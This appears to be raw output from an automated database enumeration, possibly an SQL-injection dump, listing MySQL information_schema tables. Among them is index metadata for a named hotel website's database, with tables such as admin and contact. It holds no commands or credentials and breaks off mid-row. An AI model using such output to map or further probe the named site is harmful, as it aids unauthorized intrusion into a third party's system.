Yes | macce_general_ci | macce | | 43 | 1 | | Yes | macce_bin | macce | | 39 | 1 | Yes | Yes | macroman_general_ci | macroman | | 53 | 1 | | Yes | macroman_bin | macroman | | 40 | 1 | Yes | Yes | cp852_general_ci | cp852 | | 81 | 1 | | Yes | cp852_bin | cp852 | | 20 | 1 | | Yes | latin7_estonian_cs | latin7 | | 41 | 1 | Yes | Yes | latin7_general_ci | latin7 | | 42 | 1 | | Yes | latin7_general_cs | latin7 | | 79 | 1 | | Yes | latin7_bin | latin7 | | 45 | 1 | Yes | Yes | utf8_general_ci | utf8 | | 46 | 1 | | Yes | utf8_bin | utf8 | | 224 | 8 | | Yes | utf8_general_ci | utf8 | | 225 | 8 | | Yes | utf8_icelandic_ci | utf8 | | 226 | 8 | | Yes | utf8_latvian_ci | utf8 | | 227 | 8 | | Yes | utf8_romanian_ci | utf8 | | 228 | 8 | | Yes | utf8_slovenian_ci | utf8 | | 229 | 8 | | Yes | utf8_polish_ci | utf8 | | 230 | 8 | | Yes | utf8_estonian_ci | utf8 | | 231 | 8 | | Yes | utf8_spanish_ci | utf8 | | 232 | 8 | | Yes | utf8_swedish_ci | utf8 | | 233 | 8 | | Yes | utf8_turkish_ci | utf8 | | 234 | 8 | | Yes | utf8_czech_ci | utf8 | | 235 | 8 | | Yes | utf8_danish_ci | utf8 | | 236 | 8 | | Yes | utf8_lithuanian_ci | utf8 | | 237 | 8 | | Yes | utf8_slovak_ci | utf8 | | 238 | 8 | | Yes | utf8_spanish2_ci | utf8 | | 239 | 8 | | Yes | utf8_roman_ci | utf8 | | 240 | 8 | | Yes | utf8_persian_ci | utf8 | | 241 | 8 | | Yes | utf8_esperanto_ci | utf8 | | 242 | 8 | | Yes | utf8_hungarian_ci | utf8 | | 243 | 8 | | Yes | utf8_sinhala_ci | utf8 | | 244 | 8 | | Yes | utf8_german2_ci | utf8 | | 245 | 8 | | Yes | utf8_croatian_ci | utf8 | | 246 | 8 | | Yes | utf8_unicode_520_ci | utf8 | | 247 | 8 | | Yes | utf8_vietnamese_ci | utf8 | | 14 | 1 | | Yes | cp1251_bulgarian_ci | cp1251 | | 23 | 1 | | Yes | cp1251_ukrainian_ci | cp1251 | | 50 | 1 | | Yes | cp1251_bin | cp1251 | | 51 | 1 | Yes | Yes | cp1251_general_ci | cp1251 | | 52 | 1 | | Yes | cp1251_general_cs | cp1251 | | 54 | 1 | Yes | Yes | utf16_general_ci | utf16 | | 55 | 1 | | Yes | utf16_bin | utf16 | | 101 | 8 | | Yes | utf16_unicode_ci | utf16 | | 102 | 8 | | Yes | utf16_icelandic_ci | utf16 | | 103 | 8 | | Yes | utf16_latvian_ci | utf16 | | 104 | 8 | | Yes | utf16_romanian_ci | utf16 | | 105 | 8 | | Yes | utf16_slovenian_ci | utf16 | | 106 | 8 | | Yes | utf16_polish_ci | utf16 | | 107 | 8 | | Yes | utf16_estonian_ci | utf16 | | 108 | 8 | | Yes | utf16_spanish_ci | utf16 | | 109 | 8 | | Yes | utf16_swedish_ci | utf16 | | 110 | 8 | | Yes | utf16_turkish_ci | utf16 | | 111 | 8 | | Yes | utf16_czech_ci | utf16 | | 112 | 8 | | Yes | utf16_danish_ci | utf16 | | 113 | 8 | | Yes | utf16_lithuanian_ci | utf16 | | 114 | 8 | | Yes | utf16_slovak_ci | utf16 | | 115 | 8 | | Yes | utf16_spanish2_ci | utf16 | | 116 | 8 | | Yes | utf16_roman_ci | utf16 | | 117 | 8 | | Yes | utf16_persian_ci | utf16 | | 118 | 8 | | Yes | utf16_esperanto_ci | utf16 | | 119 | 8 | | Yes | utf16_hungarian_ci | utf16 | | 120 | 8 | | Yes | utf16_sinhala_ci | utf16 | | 121 | 8 | | Yes | utf16_german2_ci | utf16 | | 122 | 8 | | Yes | utf16_croatian_ci | utf16 | | 123 | 8 | | Yes | utf16_unicode_520_ci | utf16 | | 124 | 8 | | Yes | utf16_vietnamese_ci | utf16 | | 56 | 1 | Yes | Yes | utf16le_general_ci | utf16le | | 62 | 1 | | Yes | utf16le_bin | utf16le | | 57 | 1 | Yes | Yes | cp1256_general_ci | cp1256 | | 67 | 1 | | Yes | cp1256_bin | cp1256 | | 29 | 1 | | Yes | cp1257_lithuanian_ci | cp1257 | | 58 | 1 | | Yes | cp1257_bin | cp1257 | | 59 | 1 | Yes | Yes | cp1257_general_ci | cp1257 | | 60 | 1 | Yes | Yes | utf32_general_ci | utf32 | | 61 | 1 | | Yes | utf32_bin | utf32 | | 160 | 8 | | Yes | utf32_unicode_ci | utf32 | | 161 | 8 | | Yes | utf32_icelandic_ci | utf32 | | 162 | 8 | | Yes | utf32_latvian_ci | utf32 | | 163 | 8 | | Yes | utf32_romanian_ci | utf32 | | 164 | 8 | | Yes | utf32_slovenian_ci | utf32 | | 165 | 8 | | Yes | utf32_polish_ci | utf32 | | 166 | 8 | | Yes | utf32_estonian_ci | utf32 | | 167 | 8 | | Yes | utf32_spanish_ci | utf32 | | 168 | 8 | | Yes | utf32_swedish_ci | utf32 | | 169 | 8 | | Yes | utf32_turkish_ci | utf32 | | 170 | 8 | | Yes | utf32_czech_ci | utf32 | | 171 | 8 | | Yes | utf32_danish_ci | utf32 | | 172 | 8 | | Yes | utf32_lithuanian_ci | utf32 | | 173 | 8 | | Yes | utf32_slovak_ci | utf32 | | 174 | 8 | | Yes | utf32_spanish2_ci | utf32 | | 175 | 8 | | Yes | utf32_roman_ci | utf32 | | 176 | 8 | | Yes | utf32_persian_ci | utf32 | | 177 | 8 | | Yes | utf32_esperanto_ci | utf32 | | 178 | 8 | | Yes | utf32_hungarian_ci | utf32 | | 179 | 8 | | Yes | utf32_sinhala_ci | utf32 | | 180 | 8 | | Yes | utf32_german2_ci | utf32 | | 181 | 8 | | Yes | utf32_croatian_ci | utf32 | | 182 | 8 | | Yes | utf32_unicode_520_ci | utf32 | | 183 | 8 | | Yes | utf32_vietnamese_ci | utf32 | | 63 | 1 | Yes | Yes | binary | binary | | 92 | 1 | Yes | Yes | geostd8_general_ci | geostd8 | | 93 | 1 | | Yes | geostd8_bin | geostd8 | | 95 | 1 | Yes | Yes | cp932_japanese_ci | cp932 | | 96 | 1 | | Yes | cp932_bin | cp932 | | 97 | 1 | Yes | Yes | eucjpms_japanese_ci | eucjpms | | 98 | 1 | | Yes | eucjpms_bin | eucjpms | +-----+---------+------------+-------------+--------------------------+--------------------+ Database: information_schema Table: STATISTICS [11 entries] +--------+---------+----------+----------+------------+------------+------------+----------------------+-------------+-------------+-------------------------+-------------------------+--------------+---------------+---------------+---------------+ | PACKED | COMMENT | SUB_PART | NULLABLE | INDEX_NAME | INDEX_TYPE | NON_UNIQUE | TABLE_NAME | COLLATION | COLUMN_NAME | INDEX_SCHEMA | TABLE_SCHEMA | SEQ_IN_INDEX | INDEX_COMMENT | TABLE_CATALOG | CARDINALITY | +--------+---------+----------+----------+------------+------------+------------+----------------------+-------------+-------------+-------------------------+-------------------------+--------------+---------------+---------------+---------------+ | NULL | | NULL | | PRIMARY | BTREE | 0 | admin | A | id | cp227754_embryohotel_db | cp227754_embryohotel_db | 1 | | def | 0 | | NULL | | NULL | | PRIMARY | BTREE | 0 | contact | A | id | cp227754_embryohotel_db | cp227754_embryohotel_db | 1 | | def | 0 | | NULL | | NULL | | PRIMARY | BTREE | 0 | image | A | id | cp227754_embryohotel_db | cp227754_embryohotel_db | 1 | | def | 37 | | NULL | | NULL | | PRIMARY | BTREE | 0 | local_area | A | id | cp227754_embryohotel_db | cp227754_embryohotel_db | 1 | | def | 14 | | NULL | | NULL | | PRIMARY | BTREE | 0 | news | A | id | cp227754_embryohotel_db | cp227754_embryohotel_db | 1 | | def | 0 | | NULL | | NULL | | PRIMARY | BTREE | 0 | room | A | id | cp227754_embryohotel_db | cp227754_embryohotel_db | 1 | | def | 2 | | NULL | | NULL | | PRIMARY | BTREE | 0 | room_image | A | id | cp227754_embryohotel_db | cp227754_embryohotel_db | 1 | | def | 7 | | NULL | | NULL | | PRIMARY | BTREE | 0 | room_option | A | id | cp227754_embryohotel_db | cp227754_embryohotel_db | 1 | | def | 13 | | NULL | | NULL | | PRIMARY | BTREE | 0 | room_option_reletive | A | id | cp227754_embryohotel_db | cp227754_embryohotel_db | 1 | | def | 12 | | NULL | | NULL | | PRIMARY | BTREE | 0 | slideshow | A | id | cp227754_embryohotel_db | cp227754_embryohotel_db | 1 | | def | 3 | | NULL | | NULL | | PRIMARY | BTREE | 0 | slideshow_mobile | A | id | cp227754_embryohotel_db | cp227754_embryohotel_db | 1 | | def | 1 | +--------+---------+----------+----------+------------+------------+------------+----------------------+-------------+-------------+-------------------------+-------------------------+--------------+---------------+---------------+---------------+ Database: information_schema Table: COLLATION_CHARACTER_SET_APPLICABILITY [219 entries] +--------------------------+--------------------+ | COLLATION_NAME | CHARACTER_SET_NAME | +--------------------------+--------------------+ | big5_chinese_ci | big5 | | big5_bin | big5 | | dec8_swedish_ci | dec8 | | dec8_bin | dec8 | | cp850_general_ci | cp850 | | cp850_bin | cp850 | | hp8_english_ci | hp8 | | hp8_bin | hp8 | | koi8r_general_ci | koi8r | | koi8r_bin | koi8r | | latin1_german1_ci | latin1 | | latin1_swedish_ci | latin1 | | latin1_danish_ci | latin1 | | latin1_german2_ci | latin1 | | latin1_bin | latin1 | | latin1_general_ci | latin1 | | latin1_general_cs | latin1 | | latin1_spanish_ci | latin1 | | latin2_czech_cs | latin2 | | latin2_general_ci | latin2 | | latin2_hungarian_ci | latin2 | | latin2_croatian_ci | latin2 | | latin2_bin | latin2 | | swe7_swedish_ci | swe7 | | swe7_bin | swe7 | | ascii_general_ci | ascii | | ascii_bin | ascii | | ujis_japanese_ci | ujis | | ujis_bin | ujis | | sjis_japanese_ci | sjis | | sjis_bin | sjis | | hebrew_general_ci | hebrew | | hebrew_bin | hebrew | | tis620_thai_ci | tis620 | | tis620_bin | tis620 | | euckr_korean_ci | euckr | | euckr_bin | euckr | | koi8u_general_ci | koi8u | | koi8u_bin | koi8u | | gb2312_chinese_ci | gb2312 | | gb2312_bin | gb2312 | | greek_general_ci | greek | | greek_bin | greek | | cp1250_general_ci | cp1250 | | cp1250_czech_cs | cp1250 | | cp1250_croatian_ci | cp1250 | | cp1250_bin | cp1250 | | cp1250_polish_ci | cp1250 | | gbk_chinese_ci | gbk | | gbk_bin | gbk | | latin5_turkish_ci | latin5 | | latin5_bin | latin5 | | armscii8_general_ci | armscii8 | | armscii8_bin | armscii8 | | utf8_general_ci | utf8 | | utf8_bin | utf8 | | utf8_unicode_ci | utf8 | | utf8_icelandic_ci | utf8 | | utf8_latvian_ci | utf8 | | utf8_romanian_ci | utf8 | | utf8_slovenian_ci | utf8 | | utf8_polish_ci | utf8 | | utf8_estonian_ci | utf8 | | utf8_spanish_ci | utf8 | | utf8_swedish_ci | utf8 | | utf8_turkish_ci | utf8 | | utf8_czech_ci | utf8 | | utf8_danish_ci | utf8 | | utf8_lithuanian_ci | utf8 | | utf8_slovak_ci | utf8 | | utf8_spanish2_ci | utf8 | | utf8_roman_ci | utf8 | | utf8_persian_ci | utf8 | | utf8_esperanto_ci | utf8 | | utf8_hungarian_ci | utf8 | | utf8_sinhala_ci | utf8 | | utf8_german2_ci | utf8 | | utf8_croatian_ci | utf8 | | utf8_unicode_520_ci | utf8 | | utf8_vietnamese_ci | utf8 | | utf8_general_mysql500_ci | utf8 | | ucs2_general_ci | ucs2 | | ucs2_bin | ucs2 | | ucs2_unicode_ci | ucs2 | | ucs2_icelandic_ci | ucs2 | | ucs2_latvian_ci | ucs2 | | ucs2_romanian_ci | ucs2 | | ucs2_slovenian_ci | ucs2 | | ucs2_polish_ci | ucs2 | | ucs2_estonian_ci | ucs2 | | ucs2_spanish_ci | ucs2 | | ucs2_swedish_ci | ucs2 | | ucs2_turkish_ci | ucs2 | | ucs2_czech_ci | ucs2 | | ucs2_danish_ci | ucs2 | | ucs2_lithuanian_ci | ucs2 | | ucs2_slovak_ci | ucs2 | | ucs2_spanish2_ci | ucs2 | | ucs2_roman_ci | ucs2 | | ucs2_persian_ci | ucs2 | | ucs2_esperanto_ci | ucs2 | | ucs2_hungarian_ci | ucs2 | | ucs2_sinhala_ci | ucs2 | | ucs2_german2_ci | ucs2 | | ucs2_croatian_ci | ucs2 | | ucs2_unicode_520_ci | ucs2 | | ucs2_vietnamese_ci | ucs2 | | ucs2_general_mysql500_ci | ucs2 | | cp866_general_ci | cp866 | | cp866_bin | cp866 | | keybcs2_general_ci | keybcs2 | | keybcs2_bin | keybcs2 | | macce_general_ci | macce | | macce_bin | macce | | macroman_general_ci | macroman | | macroman_bin | macroman | | cp852_general_ci | cp852 | | cp852_bin | cp852 | | latin7_estonian_cs | latin7 | | latin7_general_ci | latin7 | | latin7_general_cs | latin7 | | latin7_bin | latin7 | | utf8_general_ci | utf8 | | utf8_bin | utf8 | | utf8_general_ci | utf8 | | utf8_icelandic_ci | utf8 | | utf8_latvian_ci | utf8 | | utf8_romanian_ci | utf8 | | utf8_slovenian_ci | utf8 | | utf8_polish_ci | utf8 | | utf8_estonian_ci | utf8 | | utf8_spanish_ci | utf8 | | utf8_swedish_ci | utf8 | | utf8_turkish_ci | utf8 | | utf8_czech_ci | utf8 | | utf8_danish_ci | utf8 | | utf8_lithuanian_ci | utf8 | | utf8_slovak_ci | utf8 | | utf8_spanish2_ci | utf8 | | utf8_roman_ci | utf8 | | utf8_persian_ci | utf8 | | utf8_esperanto_ci | utf8 | | utf8_hungarian_ci | utf8 | | utf8_sinhala_ci | utf8 | | utf8_german2_ci | utf8 | | utf8_croatian_ci | utf8 | | utf8_unicode_520_ci | utf8 | | utf8_vietnamese_ci | utf8 | | cp1251_bulgarian_ci | cp1251 | | cp1251_ukrainian_ci | cp1251 | | cp1251_bin | cp1251 | | cp1251_general_ci | cp1251 | | cp1251_general_cs | cp1251 | | utf16_general_ci | utf16 | | utf16_bin | utf16 | | utf16_unicode_ci | utf16 | | utf16_icelandic_ci | utf16 | | utf16_latvian_ci | utf16 | | utf16_romanian_ci | utf16 | | utf16_slovenian_ci | utf16 | | utf16_polish_ci | utf16 | | utf16_estonian_ci | utf16 | | utf16_spanish_ci | utf16 | | utf16_swedish_ci | utf16 | | utf16_turkish_ci | utf16 | | utf16_czech_ci | utf16 | | utf16_danish_ci | utf16 | | utf16_lithuanian_ci | utf16 | | utf16_slovak_ci | utf16 | | utf16_spanish2_ci | utf16 | | utf16_roman_ci | utf16 | | utf16_persian_ci | utf16 | | utf16_esperanto_ci | utf16 | | utf16_hungarian_ci | utf16 | | utf16_sinhala_ci | utf16 | | utf16_german2_ci | utf16 | | utf16_croatian_ci | utf16 | | utf16_unicode_520_ci | utf16 | | utf16_vietnamese_ci | utf16 | | utf16le_general_ci | utf16le | | utf16le_bin | utf16le | | cp1256_general_ci | cp1256 | | cp1256_bin | cp1256 | | cp1257_lithuanian_ci | cp1257 | | cp1257_bin | cp1257 | | cp1257_general_ci | cp1257 | | utf32_general_ci | utf32 | | utf32_bin | utf32 | | utf32_unicode_ci | utf32 | | utf32_icelandic_ci | utf32 | | utf32_latvian_ci | utf32 | | utf32_romanian_ci | utf32 | | utf32_slovenian_ci | utf32 | | utf32_polish_ci | utf32 | | utf32_estonian_ci | utf32 | | utf32_spanish_ci | utf32 | | utf32_swedish_ci | utf32 | | utf32_turkish_ci | utf32 | | utf32_czech_ci | utf32 | | utf32_danish_ci | utf32 | | utf32_lithuanian_ci | utf32 | | utf32_slovak_ci | utf32 | | utf32_spanish2_ci | utf32 | | utf32_roman_ci | utf32 | | utf32_persian_ci | utf32 | | utf32_esperanto_ci | utf32 | | utf32_hungarian_ci | utf32 | | utf32_sinhala_ci | utf32 | | utf32_german2_ci | utf32 | | utf32_croatian_ci | utf32 | | utf32_unicode_520_ci | utf32 | | utf32_vietnamese_ci | utf32 | | binary | binary | | geostd8_general_ci | geostd8 | | geostd8_bin | geostd8 | | cp932_japanese_ci | cp932 | | cp932_bin | cp932 | | eucjpms_japanese_ci | eucjpms | | eucjpms_bin | eucjpms | +--------------------------+--------------------+ Database: information_schema Table: COLUMNS [695 entries] +----------------+-----------+---------------------------------------+------------+-------------+---------------------+-----------------------------------+-------------------------+---------------------------------+---------------+---------------+----------------+---------------------+-----------------+------------------+-------------------+--------------------+--------------------+------------------------+--------------------------+ | EXTRA | DATA_TYPE | TABLE_NAME | COLUMN_KEY | IS_NULLABLE | COLUMN_TYPE | COLUMN_NAME | TABLE_SCHEMA | PRIVILEGES | TABLE_CATALOG | NUMERIC_SCALE | COLUMN_COMMENT | COLUMN_DEFAULT | COLLATION_NAME | ORDINAL_POSITION | NUMERIC_PRECISION | CHARACTER_SET_NAME | DATETIME_PRECISION | CHARACTER_OCTET_LENGTH | CHARACTER_MAXIMUM_LENGTH | +----------------+-----------+---------------------------------------+------------+-------------+---------------------+-----------------------------------+-------------------------+---------------------------------+---------------+---------------+----------------+---------------------+-----------------+------------------+-------------------+--------------------+--------------------+------------------------+--------------------------+ | | int | INNODB_CMP_PER_INDEX | | NO | int(11) | uncompress_ops | information_schema | select | def | 0 | | 0 | NULL | 7 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_CMP_PER_INDEX | | NO | int(11) | uncompress_time | information_schema | select | def | 0 | | 0 | NULL | 8 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_CMPMEM_RESET | | NO | int(5) | page_size | information_schema | select | def | 0 | | 0 | NULL | 1 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_CMPMEM_RESET | | NO | int(11) | buffer_pool_instance | information_schema | select | def | 0 | | 0 | NULL | 2 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_CMPMEM_RESET | | NO | int(11) | pages_used | information_schema | select | def | 0 | | 0 | NULL | 3 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_CMPMEM_RESET | | NO | int(11) | pages_free | information_schema | select | def | 0 | | 0 | NULL | 4 | 10 | NULL | NULL | NULL | NULL | | | bigint | INNODB_CMPMEM_RESET | | NO | bigint(21) | relocation_ops | information_schema | select | def | 0 | | 0 | NULL | 5 | 19 | NULL | NULL | NULL | NULL | | | int | INNODB_CMPMEM_RESET | | NO | int(11) | relocation_time | information_schema | select | def | 0 | | 0 | NULL | 6 | 10 | NULL | NULL | NULL | NULL | | | bigint | INNODB_FT_DELETED | | NO | bigint(21) unsigned | DOC_ID | information_schema | select | def | 0 | | 0 | NULL | 1 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | NO | bigint(21) unsigned | POOL_ID | information_schema | select | def | 0 | | 0 | NULL | 1 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | NO | bigint(21) unsigned | LRU_POSITION | information_schema | select | def | 0 | | 0 | NULL | 2 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | NO | bigint(21) unsigned | SPACE | information_schema | select | def | 0 | | 0 | NULL | 3 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | NO | bigint(21) unsigned | PAGE_NUMBER | information_schema | select | def | 0 | | 0 | NULL | 4 | 20 | NULL | NULL | NULL | NULL | | | varchar | INNODB_BUFFER_PAGE_LRU | | YES | varchar(64) | PAGE_TYPE | information_schema | select | def | NULL | | NULL | utf8_general_ci | 5 | NULL | utf8 | NULL | 192 | 64 | | | bigint | INNODB_BUFFER_PAGE_LRU | | NO | bigint(21) unsigned | FLUSH_TYPE | information_schema | select | def | 0 | | 0 | NULL | 6 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | NO | bigint(21) unsigned | FIX_COUNT | information_schema | select | def | 0 | | 0 | NULL | 7 | 20 | NULL | NULL | NULL | NULL | | | varchar | INNODB_BUFFER_PAGE_LRU | | YES | varchar(3) | IS_HASHED | information_schema | select | def | NULL | | NULL | utf8_general_ci | 8 | NULL | utf8 | NULL | 9 | 3 | | | bigint | INNODB_BUFFER_PAGE_LRU | | NO | bigint(21) unsigned | NEWEST_MODIFICATION | information_schema | select | def | 0 | | 0 | NULL | 9 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | NO | bigint(21) unsigned | OLDEST_MODIFICATION | information_schema | select | def | 0 | | 0 | NULL | 10 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | NO | bigint(21) unsigned | ACCESS_TIME | information_schema | select | def | 0 | | 0 | NULL | 11 | 20 | NULL | NULL | NULL | NULL | | | varchar | INNODB_BUFFER_PAGE_LRU | | YES | varchar(1024) | TABLE_NAME | information_schema | select | def | NULL | | NULL | utf8_general_ci | 12 | NULL | utf8 | NULL | 3072 | 1024 | | | varchar | INNODB_BUFFER_PAGE_LRU | | YES | varchar(1024) | INDEX_NAME | information_schema | select | def | NULL | | NULL | utf8_general_ci | 13 | NULL | utf8 | NULL | 3072 | 1024 | | | bigint | INNODB_BUFFER_PAGE_LRU | | NO | bigint(21) unsigned | NUMBER_RECORDS | information_schema | select | def | 0 | | 0 | NULL | 14 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | NO | bigint(21) unsigned | DATA_SIZE | information_schema | select | def | 0 | | 0 | NULL | 15 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE_LRU | | NO | bigint(21) unsigned | COMPRESSED_SIZE | information_schema | select | def | 0 | | 0 | NULL | 16 | 20 | NULL | NULL | NULL | NULL | | | varchar | INNODB_BUFFER_PAGE_LRU | | YES | varchar(3) | COMPRESSED | information_schema | select | def | NULL | | NULL | utf8_general_ci | 17 | NULL | utf8 | NULL | 9 | 3 | | | varchar | INNODB_BUFFER_PAGE_LRU | | YES | varchar(64) | IO_FIX | information_schema | select | def | NULL | | NULL | utf8_general_ci | 18 | NULL | utf8 | NULL | 192 | 64 | | | varchar | INNODB_BUFFER_PAGE_LRU | | YES | varchar(3) | IS_OLD | information_schema | select | def | NULL | | NULL | utf8_general_ci | 19 | NULL | utf8 | NULL | 9 | 3 | | | bigint | INNODB_BUFFER_PAGE_LRU | | NO | bigint(21) unsigned | FREE_PAGE_CLOCK | information_schema | select | def | 0 | | 0 | NULL | 20 | 20 | NULL | NULL | NULL | NULL | | | varchar | INNODB_SYS_FOREIGN | | NO | varchar(193) | ID | information_schema | select | def | NULL | | | utf8_general_ci | 1 | NULL | utf8 | NULL | 579 | 193 | | | varchar | INNODB_SYS_FOREIGN | | NO | varchar(193) | FOR_NAME | information_schema | select | def | NULL | | | utf8_general_ci | 2 | NULL | utf8 | NULL | 579 | 193 | | | varchar | INNODB_SYS_FOREIGN | | NO | varchar(193) | REF_NAME | information_schema | select | def | NULL | | | utf8_general_ci | 3 | NULL | utf8 | NULL | 579 | 193 | | | int | INNODB_SYS_FOREIGN | | NO | int(11) unsigned | N_COLS | information_schema | select | def | 0 | | 0 | NULL | 4 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_SYS_FOREIGN | | NO | int(11) unsigned | TYPE | information_schema | select | def | 0 | | 0 | NULL | 5 | 10 | NULL | NULL | NULL | NULL | | | bigint | INNODB_SYS_COLUMNS | | NO | bigint(21) unsigned | TABLE_ID | information_schema | select | def | 0 | | 0 | NULL | 1 | 20 | NULL | NULL | NULL | NULL | | | varchar | INNODB_SYS_COLUMNS | | NO | varchar(193) | NAME | information_schema | select | def | NULL | | | utf8_general_ci | 2 | NULL | utf8 | NULL | 579 | 193 | | | bigint | INNODB_SYS_COLUMNS | | NO | bigint(21) unsigned | POS | information_schema | select | def | 0 | | 0 | NULL | 3 | 20 | NULL | NULL | NULL | NULL | | | int | INNODB_SYS_COLUMNS | | NO | int(11) | MTYPE | information_schema | select | def | 0 | | 0 | NULL | 4 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_SYS_COLUMNS | | NO | int(11) | PRTYPE | information_schema | select | def | 0 | | 0 | NULL | 5 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_SYS_COLUMNS | | NO | int(11) | LEN | information_schema | select | def | 0 | | 0 | NULL | 6 | 10 | NULL | NULL | NULL | NULL | | | bigint | INNODB_SYS_INDEXES | | NO | bigint(21) unsigned | INDEX_ID | information_schema | select | def | 0 | | 0 | NULL | 1 | 20 | NULL | NULL | NULL | NULL | | | varchar | INNODB_SYS_INDEXES | | NO | varchar(193) | NAME | information_schema | select | def | NULL | | | utf8_general_ci | 2 | NULL | utf8 | NULL | 579 | 193 | | | bigint | INNODB_SYS_INDEXES | | NO | bigint(21) unsigned | TABLE_ID | information_schema | select | def | 0 | | 0 | NULL | 3 | 20 | NULL | NULL | NULL | NULL | | | int | INNODB_SYS_INDEXES | | NO | int(11) | TYPE | information_schema | select | def | 0 | | 0 | NULL | 4 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_SYS_INDEXES | | NO | int(11) | N_FIELDS | information_schema | select | def | 0 | | 0 | NULL | 5 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_SYS_INDEXES | | NO | int(11) | PAGE_NO | information_schema | select | def | 0 | | 0 | NULL | 6 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_SYS_INDEXES | | NO | int(11) | SPACE | information_schema | select | def | 0 | | 0 | NULL | 7 | 10 | NULL | NULL | NULL | NULL | | | varchar | INNODB_FT_DEFAULT_STOPWORD | | NO | varchar(18) | value | information_schema | select | def | NULL | | | utf8_general_ci | 1 | NULL | utf8 | NULL | 54 | 18 | | | bigint | INNODB_SYS_FIELDS | | NO | bigint(21) unsigned | INDEX_ID | information_schema | select | def | 0 | | 0 | NULL | 1 | 20 | NULL | NULL | NULL | NULL | | | varchar | INNODB_SYS_FIELDS | | NO | varchar(193) | NAME | information_schema | select | def | NULL | | | utf8_general_ci | 2 | NULL | utf8 | NULL | 579 | 193 | | | int | INNODB_SYS_FIELDS | | NO | int(11) unsigned | POS | information_schema | select | def | 0 | | 0 | NULL | 3 | 10 | NULL | NULL | NULL | NULL | | | varchar | INNODB_CMP_PER_INDEX_RESET | | NO | varchar(192) | database_name | information_schema | select | def | NULL | | | utf8_general_ci | 1 | NULL | utf8 | NULL | 576 | 192 | | | varchar | INNODB_CMP_PER_INDEX_RESET | | NO | varchar(192) | table_name | information_schema | select | def | NULL | | | utf8_general_ci | 2 | NULL | utf8 | NULL | 576 | 192 | | | varchar | INNODB_CMP_PER_INDEX_RESET | | NO | varchar(192) | index_name | information_schema | select | def | NULL | | | utf8_general_ci | 3 | NULL | utf8 | NULL | 576 | 192 | | | int | INNODB_CMP_PER_INDEX_RESET | | NO | int(11) | compress_ops | information_schema | select | def | 0 | | 0 | NULL | 4 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_CMP_PER_INDEX_RESET | | NO | int(11) | compress_ops_ok | information_schema | select | def | 0 | | 0 | NULL | 5 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_CMP_PER_INDEX_RESET | | NO | int(11) | compress_time | information_schema | select | def | 0 | | 0 | NULL | 6 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_CMP_PER_INDEX_RESET | | NO | int(11) | uncompress_ops | information_schema | select | def | 0 | | 0 | NULL | 7 | 10 | NULL | NULL | NULL | NULL | | | int | INNODB_CMP_PER_INDEX_RESET | | NO | int(11) | uncompress_time | information_schema | select | def | 0 | | 0 | NULL | 8 | 10 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | NO | bigint(21) unsigned | POOL_ID | information_schema | select | def | 0 | | 0 | NULL | 1 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | NO | bigint(21) unsigned | BLOCK_ID | information_schema | select | def | 0 | | 0 | NULL | 2 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | NO | bigint(21) unsigned | SPACE | information_schema | select | def | 0 | | 0 | NULL | 3 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | NO | bigint(21) unsigned | PAGE_NUMBER | information_schema | select | def | 0 | | 0 | NULL | 4 | 20 | NULL | NULL | NULL | NULL | | | varchar | INNODB_BUFFER_PAGE | | YES | varchar(64) | PAGE_TYPE | information_schema | select | def | NULL | | NULL | utf8_general_ci | 5 | NULL | utf8 | NULL | 192 | 64 | | | bigint | INNODB_BUFFER_PAGE | | NO | bigint(21) unsigned | FLUSH_TYPE | information_schema | select | def | 0 | | 0 | NULL | 6 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | NO | bigint(21) unsigned | FIX_COUNT | information_schema | select | def | 0 | | 0 | NULL | 7 | 20 | NULL | NULL | NULL | NULL | | | varchar | INNODB_BUFFER_PAGE | | YES | varchar(3) | IS_HASHED | information_schema | select | def | NULL | | NULL | utf8_general_ci | 8 | NULL | utf8 | NULL | 9 | 3 | | | bigint | INNODB_BUFFER_PAGE | | NO | bigint(21) unsigned | NEWEST_MODIFICATION | information_schema | select | def | 0 | | 0 | NULL | 9 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | NO | bigint(21) unsigned | OLDEST_MODIFICATION | information_schema | select | def | 0 | | 0 | NULL | 10 | 20 | NULL | NULL | NULL | NULL | | | bigint | INNODB_BUFFER_PAGE | | NO | bigint(21) unsigned | ACCESS_TIME | information_schema | select | def | 0 | | 0 | NULL | 11 | 20 | NULL | NULL | NULL | NULL | | | varchar | INNODB_BUFFER_PAGE | | YES | varchar(1024) | TABLE_NAME | information_schema | select | def | NULL | | NULL | utf8_general_ci | 12 | NULL | utf8 | NULL | 3072 | 1024 | | | varchar | INNODB_BUFFER_PAGE | | YES | varchar(1024) | 